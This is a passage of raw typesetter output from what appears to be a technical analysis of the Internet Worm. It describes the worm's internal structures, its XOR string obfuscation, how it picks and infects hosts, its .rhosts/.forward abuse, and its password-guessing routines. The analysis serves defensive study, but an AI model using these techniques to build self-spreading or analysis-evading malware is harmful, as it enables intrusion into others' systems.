3288(about)S
3571(each)S
3809(network)S
4208(interface)S
4629(active)S
4930(on)S
1832 V
720(the)S
888(current)S
1231(host.)S
1510(This)S
1740(included)S
2152(the)S
2320(name)S
2591(of)S
2716(the)S
2884(interface,)S
3327(the)S
3495(outgoing)S
3921(address,)S
4311(the)S
4479(netmask,)S
4906(the)S
1962 V
720(destination)S
1242(host)S
1465(if)S
1571(the)S
1744(link)S
1955(was)S
2164(point-to-point)S
1926 V
9 R
2776(12)S
1962 V
11 R
2866(,)S
2933(and)S
3130(the)S
3303(interface)S
3723(\257ags.)S
4032(Interestingly,)S
4655(although)S
2092 V
720(this)S
920(routine)S
1271(was)S
1481(coded)S
1782(to)S
1908(get)S
2082(the)S
2256(address)S
2624(of)S
2755(the)S
2929(host)S
3153(on)S
3303(the)S
3476(remote)S
3819(end)S
4016(of)S
4146(point-to-point)S
4797(links,)S
2222 V
720(no)S
863(use)S
1042(seems)S
1343(to)S
1462(have)S
1701(been)S
1940(made)S
2210(of)S
2334(that)S
2532(information)S
3084(anywhere)S
3541(else)S
3744(in)S
3863(the)S
4030(program.)S
2482 V
11 B
720(5.1.4.)S
1035(Pwd)S
2648 V
11 R
970(A)S
1108(linked)S
1442(list)S
1637(of)S
1787(records)S
2167(was)S
2396(built)S
2658(to)S
2803(hold)S
3058(user)S
3299(information.)S
3938(Each)S
4215(structure)S
4657(held)S
4906(the)S
2778 V
720(account)S
1100(name,)S
1405(the)S
1579(encrypted)S
2050(password,)S
2532(the)S
2705(home)S
2988(directory,)S
3450(the)S
3623(GECOS)S
4023(\256eld,)S
4286(and)S
4483(a)S
4570(link)S
4781(to)S
4906(the)S
2908 V
720(next)S
942(record.)S
1314(A)S
1426(blank)S
1703(\256eld)S
1932(was)S
2135(also)S
2345(allocated)S
2773(for)S
2933(decrypted)S
3397(passwords)S
3887(as)S
4011(they)S
4233(were)S
4477(found.)S
3168 V
11 B
720(5.1.5.)S
1035(objects)S
3334 V
11 R
970(The)S
1197(program)S
1626(maintained)S
2172(an)S
2333(array)S
2614(of)S
2763(``objects'')S
3276(that)S
3499(held)S
3746(the)S
3938(\256les)S
4180(that)S
4403(composed)S
4906(the)S
3464 V
720(Worm.)S
1102(Rather)S
1435(than)S
1664(have)S
1910(the)S
2084(\256les)S
2308(stored)S
2616(on)S
2766(disk,)S
3018(the)S
3192(program)S
3603(read)S
3830(the)S
4004(\256les)S
4228(into)S
4440(these)S
4705(internal)S
3594 V
720(structures.)S
1241(Each)S
1493(record)S
1805(in)S
1925(the)S
2093(list)S
2263(contained)S
2723(the)S
2891(su)S
2989 H
	(f)show 11 -.5 mul h (\256)show
11 R
3081(x)S
3170(of)S
3295(the)S
3463(\256le)S
3638(name)S
3909(\(e.g.,)S
4167(``sun3.o''\),)S
4701(the)S
4870(size)S
3724 V
720(of)S
844(the)S
1011(\256le,)S
1213(and)S
1404(the)S
1571(encrypted)S
2035(contents)S
2434(of)S
2558(the)S
2725(\256le.)S
2927(The)S
3130(use)S
3309(of)S
3433(this)S
3626(structure)S
4042(is)S
4149(described)S
4601(below.)S
3984 V
11 B
720(5.1.6.)S
1035(Words)S
4150 V
11 R
970(A)S
1096(mini-dictionary)S
1827(of)S
1966(words)S
2282(was)S
2500(present)S
2864(in)S
2998(the)S
3180(Worm)S
3508(to)S
3642(use)S
3836(in)S
3970(password)S
4432(guessing)S
4865(\(see)S
4280 V
720(Appendix)S
1190(A\).)S
1403(The)S
1610(words)S
1915(were)S
2163(stored)S
2468(in)S
2591(an)S
2731(array,)S
3019(and)S
3214(every)S
3493(word)S
3755(was)S
3962(masked)S
4334(\(XOR\))S
4674(with)S
4906(the)S
4410 V
720(bit)S
872(pattern)S
1211(0x80.)S
1527(Thus,)S
1810(the)S
1979(dictionary)S
2459(would)S
2769(not)S
2945(show)S
3212(up)S
3357(with)S
3588(an)S
3726(invocation)S
4225(of)S
4351(the)S
11 I
4521(strings)S
11 R
4858(pro-)S
4540 V
720(gram)S
978(on)S
1121(the)S
1288(binary)S
1601(or)S
1725(object)S
2026(\256les.)S
4800 V
11 B
720(5.1.7.)S
1035(Embedded)S
1577(Strings)S
4966 V
11 R
970(Every)S
1276(text)S
1486(string)S
1782(used)S
2028(by)S
2183(the)S
2362(program,)S
2806(except)S
3136(for)S
3308(the)S
3487(words)S
3800(in)S
3932(the)S
4112(mini-dictionary,)S
4870(was)S
5096 V
720(masked)S
1092(\(XOR\))S
1433(with)S
1666(the)S
1837(bit)S
1991(pattern)S
2332(0x81.)S
2650(Every)S
2947(time)S
3179(a)S
3263(string)S
3550(was)S
3756(referenced,)S
4278(it)S
4376(was)S
4582(referenced)S
5226 V
720(via)S
895(a)S
984(call)S
1183(to)S
11 I
1310(XS)S
11 R
1432(.)S
1534(The)S
11 I
1745(XS)S
11 R
1908(function)S
2315(decrypted)S
2787(the)S
2962(requested)S
3422(string)S
3714(in)S
3841(a)S
3930(static)S
4204(circular)S
4579(bu)S
4689 H
	(f)show 11 -.5 mul h (f)show
11 R
4756(er)S
4882(and)S
5356 V
720(returned)S
1118(a)S
1200(pointer)S
1545(to)S
1665(the)S
1833(decrypted)S
2298(version.)S
2715(This)S
2944(also)S
3154(kept)S
3376(any)S
3567(of)S
3691(the)S
3858(text)S
4056(strings)S
4383(in)S
4502(the)S
4669(program)S
5486 V
720(from)S
973(appearing)S
1444(during)S
1771(an)S
1914(invocation)S
2418(of)S
11 I
2549(strings)S
11 R
2850(.)S
2951(Simply)S
3311(clearing)S
3703(the)S
3878(high)S
4115(order)S
4386(bit)S
4544(\(e.g.,)S
4808(XOR)S
5616 V
720(0x80\))S
1021(or)S
1157(displaying)S
1661(the)S
1840(program)S
2256(binary)S
2581(would)S
2901(not)S
3087(produce)S
3484(intelligible)S
4007(text.)S
4278(All)S
4464(references)S
4954(to)S
5746 V
720(XS)S
894(have)S
1133(been)S
1372(omitted)S
1742(from)S
1988(the)S
2155(following)S
2616(text;)S
2845(realize)S
3168(that)S
3366(every)S
3641(string)S
3925(was)S
4128(so)S
4259(encrypted.)S
5912 V
970(It)S
1075(is)S
1187(not)S
1366(evident)S
1728(how)S
1956(the)S
2129(strings)S
2462(were)S
2712(placed)S
3036(in)S
3161(the)S
3334(program)S
3744(in)S
3869(this)S
4068(manner.)S
4496(The)S
4705(masked)S
6042 V
720(strings)S
1052(were)S
1301(present)S
1655(inline)S
1944(in)S
2068(the)S
2240(code,)S
2512(so)S
2648(some)S
2918(preprocessor)S
3514(or)S
3642(a)S
3727(modi\256ed)S
4156(version)S
4516(of)S
4644(the)S
4815(com-)S
6172 V
720(piler)S
961(was)S
1171(likely)S
1462(used.)S
1764(This)S
2000(represents)S
2483(a)S
2571(signi\256cant)S
3071(e)S
3119 H
	(f)show 11 -.5 mul h (f)show
11 R
3186(ort)S
3349(by)S
3500(the)S
3675(author)S
3996(of)S
4128(the)S
4303(Worm,)S
4652(and)S
4851(sug-)S
6302 V
720(gests)S
977(quite)S
1234(strongly)S
1632(that)S
1834(the)S
2005(author)S
2322(wanted)S
2675(to)S
2798(complicate)S
3316(or)S
3444(prevent)S
3809(the)S
3980(analysis)S
4371(of)S
4499(the)S
4669(program)S
6432 V
720(once)S
959(it)S
1054(was)S
1257(discovered.)S
6692 V
11 B
720(5.2.)S
952(Routines)S
6858 V
11 R
970(The)S
1176(descriptions)S
1743(given)S
2023(here)S
2246(are)S
2414(arranged)S
2831(in)S
2953(alphabetic)S
3439(order.)S
3766(The)S
3972(names)S
4289(of)S
4417(some)S
4686(routines)S
6988 V
720(are)S
886(exactly)S
1236(as)S
1361(used)S
1596(by)S
1740(the)S
1908(author)S
2222(of)S
2347(the)S
2515(code.)S
2816(Other)S
3098(names)S
3411(are)S
3576(based)S
3858(on)S
4001(the)S
4168(function)S
4567(of)S
4691(the)S
4858(rou-)S
7118 V
720(tine,)S
952(and)S
1149(those)S
1420(names)S
1739(were)S
1989(chosen)S
2332(because)S
2716(the)S
2890(original)S
3272(routines)S
3666(were)S
3917(declared)S
11 I
4326(static)S
11 R
4605(and)S
4803(name)S
7248 V
720(information)S
1272(was)S
1475(not)S
1649(present)S
1998(in)S
2117(the)S
2284(object)S
2585(\256les.)S
7920 V
EP
%%Page: 13 14
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 13 -)S
850 V
970(If)S
1080(the)S
1253(reader)S
1563(wishes)S
1901(to)S
2026(trace)S
2276(the)S
2449(functional)S
2933(\257ow)S
3168(of)S
3298(the)S
3471(Worm,)S
3818(begin)S
4101(with)S
4336(the)S
4509(descriptions)S
980 V
720(of)S
860(routines)S
11 B
1263(main)S
11 R
1551(and)S
11 B
1758(doit)S
11 R
1991(\(presented)S
2495(\256rst)S
2716(for)S
2892(this)S
3101(reason\).)S
3532(By)S
3710(function,)S
4153(the)S
4336(routines)S
4738(can)S
4937(be)S
1110 V
720(\(arbitrarily\))S
1263(grouped)S
1655(as)S
1779(follows:)S
1276 V
11 B
970(setup)S
1294(and)S
1546(utility)S
11 R
1828(:)S
1933(main,)S
2255(doit,)S
2529(crypt,)S
2856(h_addaddr,)S
3420(h_addname,)S
4027(h_addr2host,)S
4672(h_clean,)S
1406 V
970(h_name2host,)S
1634(if_init,)S
1981(loadobject,)S
2515(makemagic,)S
3097(netmaskfor,)S
3667(permute,)S
4103(rt_init,)S
4450(supports_rsh,)S
1536 V
970(and)S
1161(supports_telnet.)S
1702 V
11 B
970(network)S
1413(&)S
1557(password)S
2057(attacks)S
11 R
2392(:)S
2476(attack_network,)S
3233(attack_user,)S
3813(crack_0,)S
4240(crack_1,)S
4667(crack_2,)S
1832 V
970(crack_3,)S
1398(cracksome,)S
1948(ha,)S
2134(hg,)S
2327(hi,)S
2496(hl,)S
2665(hul,)S
2889(infect,)S
3221(scan_gateways,)S
3960(sendWorm,)S
4524(try_\256ngerd,)S
1962 V
970(try_password,)S
1622(try_rsh,)S
1994(try_sendmail,)S
2629(and)S
2820(waithit.)S
2128 V
11 B
970(camou\257age)S
11 R
1501(:)S
1565(checkother,)S
2105(other_sleep,)S
2671(send_message,)S
3359(and)S
3550(xorbuf.)S
2388 V
11 B
720(5.2.1.)S
1035(main)S
2554 V
11 R
970(This)S
1201(was)S
1406(where)S
1707(the)S
1877(program)S
2284(started.)S
2673(The)S
2879(\256rst)S
3087(thing)S
3350(it)S
3448(did)S
3625(was)S
3831(change)S
4176(its)S
4317(argument)S
4767(vector)S
2684 V
720(to)S
845(make)S
1121(it)S
1222(look)S
1457(like)S
1661(it)S
1762(was)S
1971(the)S
2144(shell)S
2391(running.)S
2833(Next,)S
3113(it)S
3214(set)S
3375(its)S
3519(resource)S
3927(limits)S
4219(so)S
4356(a)S
4442(failure)S
4765(would)S
2814 V
720(not)S
906(drop)S
1152(a)S
1246(core)S
1479(\256le.)S
1727(Then)S
1998(it)S
2106(loaded)S
2444(all)S
2600(the)S
2780(\256les)S
3010(named)S
3348(on)S
3504(the)S
3684(command)S
4163(line)S
4374(into)S
4592(the)S
4772(object)S
2944 V
720(structure)S
1139(in)S
1261(memory)S
1663(using)S
1938(calls)S
2175(to)S
11 I
2296(loadobject)S
11 R
2760(.)S
2856(If)S
2963(the)S
11 I
3132(l1.c)S
11 R
3329(\256le)S
3505(was)S
3710(not)S
3886(one)S
4079(of)S
4205(the)S
4374(objects)S
4720(loaded,)S
3074 V
720(the)S
887(Worm)S
1200(would)S
1508(immediately)S
2091(call)S
11 I
2282(exit)S
11 R
2440(.)S
3240 V
970(Next,)S
1254(the)S
1431(code)S
1680(unlinked)S
2108(all)S
2261(the)S
2438(object)S
2749(\256les,)S
3004(the)S
3181(\256le)S
3365(named)S
11 I
3700(sh)S
11 R
3841(\(the)S
4054(Worm)S
4377(itself\),)S
4704(and)S
4906(the)S
3370 V
720(\256le)S
895(/tmp/.dumb)S
1442(\(apparently)S
1974(a)S
2056(remnant)S
2449(of)S
2574(some)S
2840(earlier)S
3152(version)S
3509(of)S
3634(the)S
3801(program,)S
4233(possibly)S
4634(used)S
4868(as)S
4992(a)S
3500 V
720(restraint)S
1116(or)S
1244(log)S
1422(during)S
1746(testing\320the)S
2321(\256le)S
2499(is)S
2611(not)S
2790(otherwise)S
3254(referenced\).)S
3847(The)S
4055(program)S
4464(then)S
4691(\256nished)S
3630 V
720(zeroing)S
1081(out)S
1255(the)S
1422(argument)S
1869(vector.)S
3796 V
1102(Next,)S
1385(the)S
1561(code)S
1809(would)S
2126(call)S
11 I
2326(if_init;)S
11 R
2669(if)S
2778(no)S
2930(interfaces)S
3396(were)S
3649(discovered)S
4165(by)S
4317(that)S
4524(routine,)S
4906(the)S
3926 V
720(program)S
1129(would)S
1442(call)S
11 I
1638(exit)S
11 R
1796(.)S
1895(The)S
2103(program)S
2512(would)S
2825(then)S
3052(get)S
3224(its)S
3367(current)S
3713(process)S
4078(group.)S
4432(If)S
4541(the)S
4712(process)S
4056 V
720(group)S
1021(was)S
1236(the)S
1415(same)S
1685(as)S
1821(its)S
1971(parent)S
2289(process)S
2662(id)S
2793(\(passed)S
3166(on)S
3321(the)S
3500(command)S
3979(line\),)S
4254(it)S
4362(would)S
4683(reset)S
4935(its)S
4186 V
720(process)S
1081(group)S
1370(and)S
1561(send)S
1795(a)S
1876(KILL)S
2158(signal)S
2454(to)S
2573(its)S
2711(parent.)S
4352 V
970(Last)S
1192(of)S
1316(all,)S
1487(the)S
1654(routine)S
11 I
1998(doit)S
11 R
2203(was)S
2406(invoked.)S
4612 V
11 B
720(5.2.2.)S
1035(doit)S
4778 V
11 R
970(This)S
1203(was)S
1410(the)S
1581(main)S
1838(Worm)S
2155(code.)S
2459(First,)S
2727(a)S
2812(variable)S
3201(was)S
3408(set)S
3567(to)S
3690(the)S
3861(current)S
4207(time)S
4440(with)S
4673(a)S
4758(call)S
4954(to)S
4908 V
11 I
720(time)S
11 R
909(,)S
970(and)S
1161(the)S
1328(random)S
1696(number)S
2064(generator)S
2509(was)S
2712(initialized)S
3185(with)S
3414(the)S
3581(return)S
3875(value.)S
5074 V
970(Next,)S
1254(the)S
1431(routines)S
11 I
1828(hg)S
11 R
1981(and)S
11 I
2182(hl)S
11 R
2311(were)S
2565(invoked)S
2962(to)S
3091(infect)S
3383(some)S
3658(hosts.)S
3989(If)S
4104(one)S
4305(or)S
4440(both)S
4680(of)S
4815(these)S
5204 V
720(failed)S
1002(to)S
1121(infect)S
1403(any)S
1594(hosts,)S
1882(the)S
2049(routine)S
11 I
2393(ha)S
11 R
2536(was)S
2739(invoked.)S
5370 V
970(Next,)S
1245(the)S
1413(routine)S
11 I
1758(checkother)S
11 R
2271(was)S
2476(called)S
2772(to)S
2893(see)S
3067(if)S
3169(other)S
3429(Worms)S
3787(were)S
4033(on)S
4178(this)S
4373(host.)S
4653(The)S
4858(rou-)S
5500 V
720(tine)S
11 I
926(send_message)S
11 R
1594(was)S
1805(also)S
2024(called)S
2327(to)S
2455(cast)S
2667(suspicion)S
3125(on)S
3277(the)S
3453(folks)S
3715(at)S
3836(Berkeley.)S
5464 V
9 R
4259(13)S
5500 V
11 R
4391(The)S
4603(code)S
4851(then)S
5630 V
720(entered)S
1074(an)S
1210(in\256nite)S
1556(loop:)S
5796 V
970(A)S
1085(call)S
1279(would)S
1591(be)S
1731(made)S
2005(to)S
11 I
2128(cracksome)S
11 R
2632(followed)S
3059(by)S
3206(a)S
3291(call)S
3486(to)S
11 I
3609(other_sleep)S
11 R
4158(with)S
4391(a)S
4476(parameter)S
4949(of)S
5926 V
970(30.)S
1183(Then)S
11 I
1450(cracksome)S
11 R
1959(would)S
2276(be)S
2421(called)S
2724(again.)S
3064(At)S
3216(this)S
3418(point,)S
3714(the)S
3889(process)S
4258(would)S
11 I
4574(fork)S
11 R
4792(itself,)S
6056 V
970(and)S
1161(the)S
1328(parent)S
1634(would)S
11 I
1942(exit)S
11 R
2100(,)S
2161(leaving)S
2517(the)S
2684(child)S
2937(to)S
3056(continue.)S
6222 V
970(Next,)S
1250(the)S
1423(routines)S
11 I
1816(hg,)S
1993(ha,)S
11 R
2170(and)S
11 I
2367(hi)S
11 R
2492(would)S
2806(all)S
2955(be)S
3097(called)S
3397(to)S
3523(infect)S
3812(other)S
4077(hosts.)S
4405(If)S
4517(any)S
4715(one)S
4913(\(or)S
6352 V
970(combination\))S
1590(of)S
1715(these)S
1974(routines)S
2362(failed)S
2644(to)S
2763(infect)S
3045(a)S
3126(new)S
3341(host,)S
3586(the)S
3753(routine)S
11 I
4097(hl)S
11 R
4216(would)S
4524(be)S
4660(called)S
4954(to)S
6482 V
970(infect)S
1254(a)S
1337(local)S
1585(host.)S
1865(Thus,)S
2148(the)S
2318(code)S
2560(was)S
2766(aggressive)S
3264(about)S
3544(always)S
3884(infecting)S
4310(at)S
4425(least)S
4662(one)S
4856(host)S
6612 V
970(each)S
1217(pass)S
1454(through)S
1844(this)S
2052(loop.)S
2357(The)S
2575(logic)S
2843(here)S
3078(was)S
3296(faulty,)S
3627(however,)S
4078(because)S
4470(if)S
4584(all)S
4741(known)S
6742 V
970(gateway)S
1384(hosts)S
1661(were)S
1923(infected,)S
2354(or)S
2496(a)S
2595(bad)S
2804(set)S
2977(of)S
3119(host)S
3354(numbers)S
3783(were)S
4045(tried)S
4297(in)S
11 I
4434(ha)S
11 R
4544(,)S
4623(this)S
4834(code)S
6872 V
970(would)S
1290(call)S
11 I
1493(hl)S
11 R
1624(every)S
1911(time)S
2152(through)S
2539(the)S
2718(loop.)S
3020(Such)S
3285(behavior)S
3712(was)S
3926(one)S
4128(of)S
4263(the)S
4441(reasons)S
4813(hosts)S
6982 V
9 Y1
720(3333333333333333)S
7082 V
7 R
820(13)S
7110 V
9 R
935(As)S
1062(if)S
1144(some)S
1361(of)S
1463(them)S
1670(aren't)S
1907(suspicious)S
2309(enough!)S
7920 V
EP
%%Page: 14 15
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 14 -)S
850 V
970(became)S
1339(overloaded)S
1861(with)S
2093(Worm)S
2409(processes:)S
2896(every)S
3175(pass)S
3401(through)S
3780(the)S
3951(loop,)S
4212(each)S
4448(Worm)S
4765(would)S
980 V
970(likely)S
1262(be)S
1406(forced)S
1725(to)S
1852(infect)S
2142(another)S
2511(local)S
2765(host.)S
3051(Considering)S
3630(that)S
3836(multiple)S
4245(Worms)S
4609(could)S
4894(run)S
1110 V
970(on)S
1114(a)S
1196(host)S
1414(for)S
1575(some)S
1841(time)S
2071(before)S
2383(one)S
2575(would)S
2884(exit,)S
3111(this)S
3305(could)S
3583(lead)S
3799(to)S
3919(an)S
4056(exponential)S
4603(growth)S
4949(of)S
1240 V
970(Worms)S
1326(in)S
1445(a)S
1526(LAN)S
1784(environment.)S
1406 V
970(Next,)S
1244(the)S
1411(routine)S
11 I
1755(other_sleep)S
11 R
2300(was)S
2503(called)S
2797(with)S
3026(a)S
3107(timeout)S
3477(of)S
3601(120.)S
3860(A)S
3972(check)S
4259(was)S
4462(then)S
4684(made)S
4954(to)S
1536 V
970(see)S
1142(if)S
1242(the)S
1409(Worm)S
1722(had)S
1913(run)S
2092(for)S
2252(more)S
2510(than)S
2732(12)S
2875(hours.)S
3213(If)S
3318(so,)S
3477(a)S
3558(call)S
3749(was)S
3952(made)S
4222(to)S
11 I
4341(h_clean)S
11 R
4688(.)S
1702 V
970(Finally,)S
1360(a)S
1457(check)S
1760(was)S
1979(made)S
2265(of)S
2405(the)S
11 I
2588(pleasequit)S
11 R
3089(and)S
11 I
3296(nextw)S
11 R
3601(variables)S
4045(\(set)S
4252(in)S
11 I
4387(other_sleep)S
11 R
4949(or)S
1832 V
11 I
970(checkother)S
11 R
1449(,)S
1517(and)S
11 I
1715(crack_2)S
11 R
2067(,)S
2135(respectively\).)S
2801(If)S
11 I
2913(pleasequit)S
11 R
3405(was)S
3615(nonzero,)S
4035(and)S
11 I
4233(nextw)S
11 R
4529(was)S
4738(greater)S
1962 V
970(than)S
1192(10,)S
1363(the)S
1530(Worm)S
1843(would)S
11 I
2151(exit)S
11 R
2309(.)S
2222 V
11 B
720(5.2.3.)S
1035(attack_network)S
2388 V
11 R
970(This)S
1206(routine)S
1557(was)S
1767(designed)S
2197(to)S
2323(infect)S
2612(random)S
2987(hosts)S
3254(on)S
3405(a)S
3494(subnet.)S
3883(First,)S
4155(for)S
4323(each)S
4563(of)S
4695(the)S
4870(net-)S
2518 V
720(work)S
984(interfaces,)S
1475(if)S
1581(checked)S
1977(to)S
2102(see)S
2280(if)S
2386(the)S
2559(target)S
2846(host)S
3068(was)S
3276(on)S
3424(a)S
3510(network)S
3907(to)S
4031(which)S
4337(the)S
4509(current)S
4856(host)S
2648 V
720(was)S
923(directly)S
1291(connected.)S
1828(If)S
1933(so,)S
2092(the)S
2259(routine)S
2603(immediately)S
3186(returned.)S
2612 V
9 R
3578(14)S
2814 V
11 R
970(Based)S
1278(on)S
1428(the)S
1602(class)S
1855(of)S
1986(the)S
2160(netmask)S
2566(\(e.g.,)S
2829(Class)S
3108(A,)S
3256(Class)S
3536(B\),)S
3715(the)S
3890(code)S
4137(constructed)S
4683(a)S
4772(list)S
4949(of)S
2944 V
720(likely)S
1008(network)S
1404(numbers.)S
1880(A)S
1996(special)S
2336(algorithm)S
2800(was)S
3006(used)S
3243(to)S
3365(make)S
3638(good)S
3894(guesses)S
4265(at)S
4380(potential)S
4801(Class)S
3074 V
720(A)S
834(host)S
1053(numbers.)S
1527(All)S
1703(these)S
1963(constructed)S
2503(host)S
2722(numbers)S
3135(were)S
3382(placed)S
3703(in)S
3825(a)S
3909(list,)S
4109(and)S
4303(the)S
4473(list)S
4645(was)S
4851(then)S
3204 V
720(randomized)S
1288(using)S
11 I
1578(permute)S
11 R
1937(.)S
2049(If)S
2172(the)S
2356(network)S
2765(was)S
2985(Class)S
3274(B,)S
3426(the)S
3610(permutation)S
4191(was)S
4411(done)S
4674(to)S
4810(favor)S
3334 V
720(low-numbered)S
1404(hosts)S
1676(by)S
1831(doing)S
2127(two)S
2337(separate)S
2739(permutations\320the)S
3602(\256rst)S
3819(six)S
3993(hosts)S
4265(in)S
4396(the)S
4576(output)S
4904(list)S
3464 V
720(were)S
964(guaranteed)S
1476(to)S
1595(be)S
1731(chosen)S
2068(from)S
2314(the)S
2481(\256rst)S
2686(dozen)S
2980(\(low-numbered\))S
3724(host)S
3941(numbers)S
4352(generated.)S
3630 V
970(The)S
1182(\256rst)S
1396(20)S
1548(entries)S
1882(in)S
2010(the)S
2186(permuted)S
2642(list)S
2820(were)S
3073(the)S
3249(only)S
3487(ones)S
3730(examined.)S
4260(For)S
4456(each)S
4698(such)S
4942(IP)S
3760 V
720(address,)S
1120(its)S
1269(entry)S
1538(was)S
1752(retrieved)S
2184(from)S
2440(the)S
2617(global)S
2935(list)S
3114(of)S
3248(hosts)S
3518(\(if)S
3664(it)S
3769(was)S
3982(in)S
4111(the)S
4288(list\).)S
4564(If)S
4679(the)S
4856(host)S
3890 V
720(was)S
936(in)S
1068(the)S
1248(list)S
1430(and)S
1634(was)S
1850(marked)S
2224(as)S
2361(already)S
2728(infected)S
3126(or)S
3263(immune,)S
3698(it)S
3807(was)S
4024(ignored.)S
4467(Otherwise,)S
4992(a)S
4020 V
720(check)S
1020(was)S
1236(made)S
1519(to)S
1651(see)S
1836(if)S
1949(the)S
2129(host)S
2359(supported)S
2838(the)S
3018(rsh)S
3198(command)S
3677(\(identifying)S
4242(it)S
4350(as)S
4487(existing)S
4882(and)S
4150 V
720(having)S
1059(BSD-derived)S
1678(networking)S
2218(services\))S
2646(by)S
2796(calling)S
11 I
3135(supports_rsh)S
11 R
3711(.)S
3812(If)S
3925(the)S
4100(host)S
4325(did)S
4507(support)S
4878(rsh,)S
4280 V
720(it)S
826(was)S
1040(entered)S
1405(into)S
1621(the)S
1799(hosts)S
2070(list)S
2250(if)S
2361(not)S
2546(already)S
2911(present,)S
3299(and)S
3501(a)S
3593(call)S
3795(to)S
11 I
3925(infect)S
11 R
4212(was)S
4425(made)S
4705(for)S
4875(that)S
4410 V
720(host.)S
4576 V
970(If)S
1075(a)S
1156(successful)S
1639(infection)S
2062(occurred,)S
2504(the)S
2671(routine)S
3015(returned)S
3412(early)S
3663(with)S
3892(a)S
3973(value)S
4243(of)S
4367(TRUE)S
4687(\(1\).)S
4836 V
11 B
720(5.2.4.)S
1035(attack_user)S
5002 V
11 R
970(This)S
1203(routine)S
1551(was)S
1758(called)S
2056(after)S
2292(a)S
2377(user)S
2596(password)S
3047(was)S
3254(broken.)S
3656(It)S
3760(has)S
3943(some)S
4212(incorrect)S
4638(code)S
4882(and)S
5132 V
720(may)S
957(not)S
1146(work)S
1419(properly)S
1838(on)S
1996(every)S
2286(architecture)S
2849(because)S
3241(a)S
3336(subroutine)S
3847(call)S
4052(was)S
4269(missing)S
4660(an)S
4810(argu-)S
5262 V
720(ment.)S
1047(However,)S
1521(on)S
1677(Suns)S
1938(and)S
2142(V)S
9 R
2221(AX)S
11 R
2351(en,)S
2528(the)S
2708(code)S
2960(will)S
3178(work)S
3449(because)S
3840(the)S
4020(missing)S
4410(argument)S
4870(was)S
5392 V
720(supplied)S
1131(as)S
1260(an)S
11 B
1401(extra)S
11 R
1681(argument)S
2133(to)S
2257(the)S
2429(previous)S
2845(call,)S
3069(and)S
3265(the)S
3437(order)S
3704(of)S
3832(the)S
4003(arguments)S
4497(on)S
4644(the)S
4815(stack)S
5522 V
720(matches)S
1112(between)S
1509(the)S
1676(two)S
1874(routines.)S
2322(It)S
2422(was)S
2625(largely)S
2962(a)S
3043(coincidence)S
3598(that)S
3796(this)S
3989(worked.)S
5688 V
970(The)S
1173(routine)S
1517(attempted)S
1983(to)S
2102(open)S
2348(a)S
11 I
2429(.forward)S
11 R
2846(\256le)S
3020(in)S
3139(the)S
3306(the)S
3473(user's)S
3767(home)S
4044(directory,)S
4500(and)S
4691(then)S
4913(for)S
5818 V
720(each)S
955(host)S
1175(and)S
1369(user)S
1587(name)S
1860(present)S
2212(in)S
2333(that)S
2533(\256le,)S
2737(it)S
2834(called)S
3130(the)S
11 I
3299(hul)S
11 R
3475(routine.)S
3882(It)S
3984(then)S
4208(did)S
4384(the)S
4553(same)S
4813(thing)S
5948 V
720(with)S
949(the)S
11 I
1116(.rhosts)S
11 R
1447(\256le,)S
1649(if)S
1749(present,)S
2126(in)S
2245(the)S
2412(user's)S
2706(home)S
2983(directory.)S
6208 V
11 B
720(5.2.5.)S
1035(checkother)S
6374 V
11 R
970(This)S
1203(routine)S
1551(was)S
1758(to)S
1881(see)S
2057(if)S
2161(another)S
2526(Worm)S
2843(was)S
3050(present)S
3403(on)S
3551(this)S
3749(machine)S
4158(and)S
4354(is)S
4466(a)S
4552(companion)S
6504 V
720(routine)S
1066(to)S
11 I
1187(other_sleep)S
11 R
1699(.)S
1795(First,)S
2061(a)S
2144(random)S
2513(value)S
2784(was)S
2988(checked:)S
3410(with)S
3640(a)S
3722(probability)S
4239(of)S
4364(1)S
4453(in)S
4573(7,)S
4690(the)S
4858(rou-)S
6634 V
720(tine)S
935(returned)S
1349(without)S
1736(ever)S
1973(doing)S
2274(anything\320these)S
3045(Worms)S
3419(become)S
3810(immortal)S
4265(in)S
4402(the)S
4587(sense)S
4875(that)S
6764 V
720(they)S
942(never)S
1217(again)S
1487(participated)S
2037(in)S
2156(the)S
2323(process)S
2684(of)S
2808(thinning)S
3209(out)S
3383(multiple)S
3784(local)S
4030(Worms.)S
6874 V
9 Y1
720(3333333333333333)S
6974 V
7 R
820(14)S
7002 V
9 R
935(This)S
1124(appears)S
1428(to)S
1527(be)S
1641(a)S
1710(bug.)S
1924(The)S
2093(probable)S
2437(assumption)S
2876(was)S
3045(that)S
3209(the)S
3348(routine)S
9 I
3632(hl)S
9 R
3731(would)S
3985(handle)S
4255(infection)S
4605(of)S
7112 V
720(local)S
922(hosts,)S
1157(but)S
9 I
1299(hl)S
9 R
1396(calls)S
1588(this)S
1745(routine!)S
2084(Thus,)S
2314(local)S
2516(hosts)S
2728(were)S
2930(never)S
3157(infected)S
3474(via)S
3611(this)S
3768(route.)S
7920 V
EP
%%Page: 15 16
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 15 -)S
850 V
970(Otherwise,)S
1491(the)S
1668(Worm)S
1991(created)S
2348(a)S
2439(socket)S
2762(and)S
2963(tried)S
3207(to)S
3336(connect)S
3720(to)S
3850(the)S
4028(local)S
4285(``Worm)S
4681(port''\320)S
980 V
720(23357.)S
1092(If)S
1200(the)S
1370(connection)S
1886(was)S
2091(successful,)S
2604(an)S
2742(exchange)S
3189(of)S
3315(challenges)S
3812(was)S
4017(made)S
4289(to)S
4410(verify)S
4706(that)S
4906(the)S
1110 V
720(other)S
979(side)S
1190(was)S
1394(actually)S
1775(a)S
1857(fellow)S
2172(Worm.)S
2548(If)S
2655(so,)S
2816(a)S
2899(random)S
3269(value)S
3541(was)S
3746(written)S
4092(to)S
4213(the)S
4382(other)S
4642(side,)S
4882(and)S
1240 V
720(a)S
801(value)S
1071(was)S
1274(read)S
1494(from)S
1740(the)S
1907(socket.)S
1406 V
970(If)S
1082(the)S
1256(sum)S
1480(of)S
1611(the)S
1785(value)S
2062(sent)S
2279(plus)S
2503(the)S
2677(value)S
2954(read)S
3181(was)S
3391(even,)S
3665(the)S
3840(local)S
4094(Worm)S
4415(set)S
4578(its)S
11 I
4724(please-)S
1536 V
720(quit)S
11 R
928(variable)S
1316(to)S
1438(1,)S
1557(thus)S
1777(marking)S
2179(it)S
2277(for)S
2439(eventual)S
2845(self-destruction.)S
3590(The)S
3795(socket)S
4110(was)S
4315(then)S
4539(closed,)S
4882(and)S
1666 V
720(the)S
890(Worm)S
1206(opened)S
1558(a)S
